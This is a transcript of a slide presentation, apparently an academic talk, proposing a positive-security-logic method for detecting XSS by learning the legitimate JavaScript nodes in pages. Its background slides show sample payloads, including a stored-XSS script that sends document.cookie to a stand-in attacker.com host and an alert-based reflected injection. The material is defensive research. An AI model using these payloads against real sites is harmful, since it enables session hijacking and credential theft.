Download presentation
Presentation is loading. Please wait.
1
1 Detecting and filtering XSS using Positive Security Logic Ofer Rotberg David Movshovitz
2
2 Web Application Architecture Text Book Real World
3
3 XSS Background “Today, over 70% of attacks come at the ‘Application Layer’ not the network or system layer.” - Gartner Group XSS is rated #1 among CVE (publicly reported vulnerabilities). Very simple to perform A plethora of freely available web applications. Much of the code is alpha or beta, written by inexperienced programmers. Every input has the potential to be an attack vector. In order to (really) fix must change code. http://xssed.com/archive http://xssed.com/archive [Source: Vulnerability Type Distributions in CVE Document version: 1.1 Date: May 22, 2007 (http://cwe.mitre.org/documents/vuln-trends/index.html)]
4
4 Some more interesting results… Source: “WhiteHat Website Security Statistic Reports”, Dec 2008 Become an hacker ?
5
The history repeats itself… 5 Source: http://jeremiahgrossman.blogspot.com/2008/12/history-repeating-itself.htmlhttp://jeremiahgrossman.blogspot.com/2008/12/history-repeating-itself.html
6
6 3 Types of XSS Reflected (Non-Persistent): Script embedded in the request is ‘reflected’ in the response Stored (Persistent): Attacker’s input is stored and played back in later page views DOM Based (Local): the problem exists within a page's (legitimate) client-side script itself.
7
7 Reflected XSS RRequest hhttp://www.website.com/ index.php?name=Jim RResponse <html> <body> Hello, Jim... RRequest hhttp://www.website.com/ind ex.php?name=Jim<script>aler t("XSS")</script> RResponse <html> <body> Hello, Jim <script>alert("XSS")</script>... Browser – assumes server doesn’t send malicious content Parse HTML – build DOM Fetch resources and execute them. Browser – assumes server doesn’t send malicious content Parse HTML – build DOM Fetch resources and execute them.
8
8 Stored XSS Trudy posts the following text on a message board: Great message! var img=new Image(); img.src= "http://www.attacker.com/CookieStealer/WebForm1.aspx?s= "+document.cookie; When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy MySpace.com virus. MySpace.com virus
9
9 DOM-Based XSS First published by Amit Klein ( http://www.webappsec.org/projects/articles/071105.shtml) http://victim/promo?product_id=100&title=Last+Chance http://victim/promo?product_id=100&title=Foo# alert('XSS') var url = window.location.href; var pos = url.indexOf("title=") + 6; var len = url.length; var title_string = url.substring(pos,len); document.write(title_string); var url = window.location.href; var pos = url.indexOf("title=") + 6; var len = url.length; var title_string = url.substring(pos,len); document.write(title_string); DEMO
10
10 DOM XSS DEMO >!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> var visitor_name = prompt("What is your name?“,"") document.write("Welcome " + visitor_name + " How are you?");
11
11 Current Approaches for (Web) Application Security Source-code analyzers (white box) Static – Run simple text-based searches for strings (e.g. strcpy). Dynamic construct all possible runtime functional call stacks. attempt to determine if a call (to strcpy, for example) can be reached by data received as an input from the user or the environment. Pro’s Operate on source code, thus can be used by developers. Integrate tightly into the development phase. Pinpoint the problems – where to fix. Con’s Developers must understand security. Language specific.
12
12 Current Approaches for (Web) Application Security (cont.) Web application scanners (black box) Fully automated or manual …see David’s slides. х Automated Login х Infinite web sites х How does the scanner know if logout has occurred ? х multi-page business processes utilizing HTML forms. х Web applications are constantly changing.
13
13 Current Approaches for (Web) Application Security (cont.) Web Application Firewalls (WAF) Often called “deep packet inspection firewalls”. Examine every request/response within the HTTP, SOAP, XML-RPC, and Web service layers. Focus on request Stored XSS is a problem. Filtering approaches: Misuse based (Negative model) novel attacks ? false positives - if the system configuration or environment changes false negative – if using negative model Large deviations from one web application to another (signature per application). Anomaly based Model “normal” traffic and find statistical deviations. False Positive rate. Unproven theory. Training set might include attacks.
14
14 HTTP Vs. Network anomaly detection The stateless nature of HTTP most existing attacks are only one request long. In network level attacks, an attacker might check if a vulnerability is likely to exist before attempting to exploit it. the non-stationary nature of web servers web site content changes rapidly. Changes in content imply changes in the HTTP requests HTTP requests are variable length Any learning algorithm that requires fixed-length input, such as a neural net, will not work. Training data for anomaly detection is unbalanced Many algorithms require similar amounts of normal and abnormal data These problems eliminate many algorithms that have been successful before
15
15 (Simple) Mitigation Techniques Disable JS (…and also, Flash, ActiveX, Java Applets…) Web 2.0 is based on AJAX. Netscape SOP Browser isn’t allowed to load or send JS if it doesn’t belong to the same domain. …can be easily bypassed (<IMG src = http://attacker.com…) What about mashup ? reuse of code ? external resources ?
16
16 (Simple) Mitigation Techniques (cont.) Encode\Escape user input (in request/response) encode all user-supplied HTML special characters, thereby preventing them from being interpreted as HTML. But…many modern web application permit HTML input. MS.NET Anti-XSS library, OWASP PHP Anti-XSS library.
17
17 (Simple) Mitigation Techniques (cont.) Input validation Positive security model. check all input for length, type, syntax, and business rules before accepting the data to be displayed or stored. Protect agains cookie stealing Tie cookie to IP HTTP-Only cookie - cookie is unavailable to JS.
18
18 The filtering problem Remove all tags from input There are many different Ways to execute Scripts in an HTML Page (XSS cheatsheet) <div id="mycode" expr="alert('hah!')" Input validation there are many different ways to represent the same character in HTML. Browsers tend to be “forgiving” XSS Cheat Sheet
19
19 The filtering problem (cont.)
20
20 Tricky Scripts JS permits invoking code within code using eval() eval("x=10;y=20;document.write(x*y)") temp=eval("document.myForm." + fieldList[i]); eval(xmlhttp.responseText); JS writes new HTML elements with new JS .innerHTML, document.write()
![20 Tricky Scripts JS permits invoking code within code using eval() eval( x=10;y=20;document.write(x*y) ) temp=eval( document.myForm. + fieldList[i]); eval(xmlhttp.responseText); JS writes new HTML elements with new JS .innerHTML, document.write()](http://images.slideplayer.com./24/7454394/slides/slide_20.jpg "20 Tricky Scripts JS permits invoking code within code using eval() eval( x=10;y=20;document.write(x*y) ) temp=eval( document.myForm. + fieldList[i]); eval(xmlhttp.responseText); JS writes new HTML elements with new JS .innerHTML, document.write()")
21
21 Related Work Client-side solutions Engin Kirda, Christopher Kruegel, Giovanni Vigna, and Nenad Jovanovic “Noxes: A Client-Side Solution for Mitigating Cross-Site Scripting Attacks” (2006) A client-side web proxy that analyzes all internal and external links embedded in Web pages. Noxes will identify an unrecognized external link as an XSS attack. Noxes only focuses on the XSS attacks targeted on stealing credentials.
22
22 Related Work (cont.) Query anomaly analysis Christopher Krugel, G.Vigna, William Robertson, “A multimodal approach to the detection of web based attacks,”(2005) DFA Ingham, Somayaji, Burge and Forrest: “ Learning DFA representations of HTTP for protecting web applications” (2006)
23
23 Related Work (cont.) Web response analysis Bisht and Venkatakrishnan “XSS-GUARD: Precise Dynamic Prevention of Cross-Site Scripting Attacks” (July 2008).
24
24 XSS-Guard example
25
25 Related Work (cont.) Johns, Engelmann and Posegga, ”XSSDS: Server-side Detection of Cross-site Scripting Attacks” (Dec 2008). Reflected – Given a set of parameters P = {p 1, p 2,..., p m } and a set of scripts S = {s 1, s 2,..., s n } find all matches between P and S in which p i was used to define parts of s j. Stored – Static scripts – simple. Dynamic scripts Normalize constants (Strings, Numbers and RegEx) varying code blocks – variant script
26
26 Related Work (cont.) Johns, Engelmann and Posegga, ”XSSDS: Server-side Detection of Cross-site Scripting Attacks” (Dec 2008). results
27
27 Proposed Model Positive security logic. All traffic is illegal unless known to be legal HTML Response = collection of JavaScript nodes.
28
28 Model Benefits Performance – “light” JS parsing. Generic - targets all types of XSS Even DOM-Based could be mitigated if web proxy is deployed on client side. Fast convergence – short learning period Number of JS nodes is bounded. Most JS nodes appear in every page (“building blocks”). JS nodes DB is transportable Distributed learning. Can detect some attacks even if JS didn’t run.
29
29 Implementation Learn web sites: Crawl web-site using websphinx ( http://www.cs.cmu.edu/~rcm/websphinx/#about) http://www.cs.cmu.edu/~rcm/websphinx/#about Produce static pages and dynamic pages using random fuzzer JavaScript extraction. Now –using HTMLParser (http://htmlparser.sourceforge.net/). Future - Hook to Mozilla JS extraction engine ? JavaScript code normalization. Using Java RegEx
30
Challenges Attack is browser specific. Handle special instructions ( e.g.: eval() ). Attacks against the model Document.write(“…”); Performance 30
31
31 Current Results - False Positive Rate False Positive Rate ≡ (# learned URL’s with new scripts)/(#URLs in detection phase) Test methodology Crawl web-site create URL’s pool (~150 URL’s) Generate random query URL’s using fuzzer. Learn % of total URL’s (randomly picked) Detect % of total URL’s (randomly picked) Ignore “attacks” from unlearned URL’s
32
32 URL FP Rate w/o Normalization
33
33 Script FP Rate w/o Normalization
34
34 Current Results - False Negative Rate False Negative Rate ≡ (# Attacks Detected)/(#Attacks Injected) Test methodology Find a real vulnerable web-application ( http://xssed.com ) http://xssed.com Create a pool of legitimate URLs using benign fuzzer. Create a pool of attack URLs using XSS cheat sheet payloads. Learn script DB. Detect attacks.
35
FN Results
36
36 Deployment Options
37
37 Further Work Efficient implementation to increase performance Code clone detection Future Applications Application JS profile JS cache Deployment options ISP, Enterprise, Client. Other fields: JS worms propagation. Mash-Up. AJAX security.
38
38 Thank You !
39
39 Some More Related Work Vulnerability analysis: find vulnerable source-sink pairs e.g., saner: Livshits et al. Usenix 2005, Pixy N. Jovanovic et al. S&P2006, Y. Xie et al. Usenix 2006, D. Balzarotti et al. CCS 2007... Useful but limited to detection Server side solutions: filter based or track taint & disallow at sink : W. Xu et al. Usenix 2006, … Centralized defense but do not know all scripts Client side solutions: Firewall like mechanisms to prevent malicious actions at client Noxes E. Kirda, et al. SAC 2006, P. Vogt et al. NDSS 2007 User controlled protection but do not know intended scripts Client-Server collaborative solutions: Clients enforce application specified policies BEEP T. Jim, et al. WWW 2007, Tahoma R. Cox et al. S&P 2006, Browsershield C. Reis et al. OSDI 2006 Can determine intended and all scripts but deployment issues 39
Similar presentations
